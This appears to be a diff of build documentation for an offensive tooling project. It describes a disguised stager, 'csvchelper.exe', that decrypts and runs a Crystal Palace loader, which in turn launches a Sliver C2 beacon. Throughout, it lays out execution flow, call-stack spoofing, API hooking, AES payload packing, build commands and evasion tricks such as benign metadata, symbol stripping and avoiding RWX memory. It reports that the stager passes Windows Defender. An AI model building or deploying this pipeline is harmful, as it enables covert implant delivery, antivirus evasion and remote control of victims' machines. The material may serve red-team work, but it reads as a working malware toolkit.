`csvchelper.exe` and `payload.dat` must sit in the same directory — the stager resolves `payload.dat` relative to its own path via `GetModuleFileNameW`. No arguments needed.
1. `run.x64.exe` reads `prod.crystal.bin` into RWX memory
2. Jumps to offset 0 of the PICO (Crystal Palace `+gofirst` guarantees `go` is there)
3. Crystal Palace loader resolves Win32 APIs via ror13 hashing
4. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
5. Installs Draugr call-stack spoofing
6. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`)
7. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable` — required so Go's runtime can call `RtlLookupFunctionEntry` on beacon addresses (goroutine stack growth / async preemption)
8. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code
9. Calls `DllMain(DLL_PROCESS_ATTACH)` — Go runtime init
10. Walks the beacon export table and calls `StartW()` — this is the explicit C2-loop entry point; `DllMain` alone does **not** start the beacon goroutine
11. `Sleep(INFINITE)` keeps the loader thread alive so the Go scheduler can run beacon goroutines
Execution order inside `csvchelper.exe`:
1. `BCryptGenRandom` noise → writes a random page to a temp file (auto-deleted), disrupts timing-based scanners
2. `RegOpenKeyExW(HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion)` — normal-looking init
3. Reads `payload.dat` from its own directory
4. `BCryptDecrypt` (AES-256-CBC, key baked in at compile time) → plaintext PICO in heap
5. `VirtualAlloc(RW)` + `memcpy` + `SecureZeroMemory` on heap buffer + `VirtualProtect(RX)` — no RWX at any point
6. `CreateThread` → PICO entry at offset 0 (Crystal Palace `+gofirst` guarantees `go` is there)
7. Crystal Palace loader resolves Win32 APIs via ror13 hashing
8. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
9. Installs Draugr call-stack spoofing
10. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`)
11. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable`
12. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code
13. Calls `DllMain(DLL_PROCESS_ATTACH)` → Go runtime init
14. Walks the beacon export table and calls `StartW()` — starts the beacon goroutine
15. Main thread loops on `SleepEx(30000, TRUE)` to keep the process alive
On the Sliver console:
@@ -405,9 +415,12 @@ Windows VM — remove any uploaded PICO files:
```cmd
C:\> del C:\Windows\Temp\*.pico.bin
C:\> del C:\Windows\Temp\*.bin
C:\> taskkill /F /IM run.x64.exe
C:\> taskkill /F /IM csvchelper.exe
C:\> del payload.dat
```
Adjust the binary name to whatever you renamed the stager to before delivery.
Local Kali build artifacts:
```bash
@@ -443,13 +456,13 @@ echo "" > /tmp/empty.args
external/crystalpalace/dist/demo/test.x64.dll \
crystal-kit-sliver/sliver-glue/build/test-implant.bin
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/test-implant.bin \
crystal-kit-sliver/sliver-glue/build/test-drop.zip
crystal-kit-sliver/sliver-glue/build/test-csvchelper.exe
./crystal-kit-sliver/sliver-glue/pack-extension.sh
ls -la crystal-kit-sliver/sliver-glue/build/
```
If all four artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-drop.zip`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional.
If all five artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-csvchelper.exe`, `payload.dat`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional.
+45
View File
@@ -13,6 +13,8 @@ Build prerequisites, verified versions, and the actual pipeline used to produce
| `java` (JRE) | OpenJDK 17 | Execute `crystalpalace.jar` linker | `apt install default-jdk` | `brew install openjdk@17` |
| `make` | GNU Make ≥ 4 | Build orchestration | preinstalled | preinstalled |
| `xxd` | any | Embed PICO as C byte array (crystal-exec step 3) | `apt install xxd` | preinstalled |
| `openssl` | any | AES-256-CBC encrypt PICO for stager delivery (`gen_payload.py`) | `apt install openssl` | preinstalled |
| `python3` | ≥ 3.8 | Drive stager key generation (`gen_payload.py`) | preinstalled | preinstalled |
| `zip` | any | Pack operator drop bundle | `apt install zip` | preinstalled |
| `curl` | any | Download Crystal Palace dist | preinstalled | preinstalled |
@@ -135,6 +137,49 @@ Key design constraints:
**Verified output:** `crystal-exec.x64.dll` — PE32+ x86-64, exports symbol `go`.
### 3e. Custom stager — two-file delivery (Use case A Defender bypass)
Located at `crystal-kit-sliver/sliver-glue/stager/`.
3-step pipeline under `crystal-kit-sliver/sliver-glue/stager/Makefile`:
```
Step 1: AES-256-CBC encrypt PICO → payload.dat + C key header (gen_payload.py)
python3 gen_payload.py <pico.bin> <payload.dat> payload_key.h
Uses openssl(1) for AES encryption. Fresh random key + IV every run.
Outputs:
payload.dat — opaque AES ciphertext, no PE patterns (deliver alongside stager)
payload_key.h — key[] + iv[] C arrays compiled into the stager EXE
Step 2: compile version info resource + manifest
x86_64-w64-mingw32-windres resource.rc -o resource.o
resource.rc embeds manifest.xml (ID 1 / RT_MANIFEST) declaring requestedExecutionLevel
asInvoker — suppresses UAC auto-elevation regardless of filename or description keywords.
Step 3: compile stager EXE
x86_64-w64-mingw32-gcc -Wall -Os -mwindows -ffunction-sections -fdata-sections \
-o csvchelper.exe stager.c resource.o -s -Wl,--gc-sections -ladvapi32 -lbcrypt
```
Key design properties:
- `stager.exe` is ~17 KB with entropy ~4.8 — indistinguishable from a small utility
- `payload.dat` is opaque AES ciphertext — no PE magic, no Crystal Palace byte patterns
- IAT: ADVAPI32 (RegOpenKeyExW), bcrypt (BCryptDecrypt, BCryptGenRandom), KERNEL32 — no ntdll Nt* entries
- VirtualAlloc(RW) + VirtualProtect(RX): no PAGE_EXECUTE_READWRITE mapping ever held
- `-s` strips all symbol table entries — no function names appear in strings output
- `FileDescription` in `resource.rc` must avoid UAC trigger words ("update", "install", "setup", "service"); the `asInvoker` manifest is the hard override but clean metadata reduces scanner surface
Invoke via `bundle-stager.sh`:
```bash
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat
```
**Verified output:** `csvchelper.exe` 17 KB, entropy 4.784. No NtCreateSection / NtMapViewOfSection strings. Passes Windows Defender on Windows 10 x64 (tested against VirTool:Win64/ZomBytes.B and Trojan:Win32/Wacatac.B!ml signatures).
## 4. End-to-end timing on macOS Apple Silicon (reference)
| Step | Elapsed |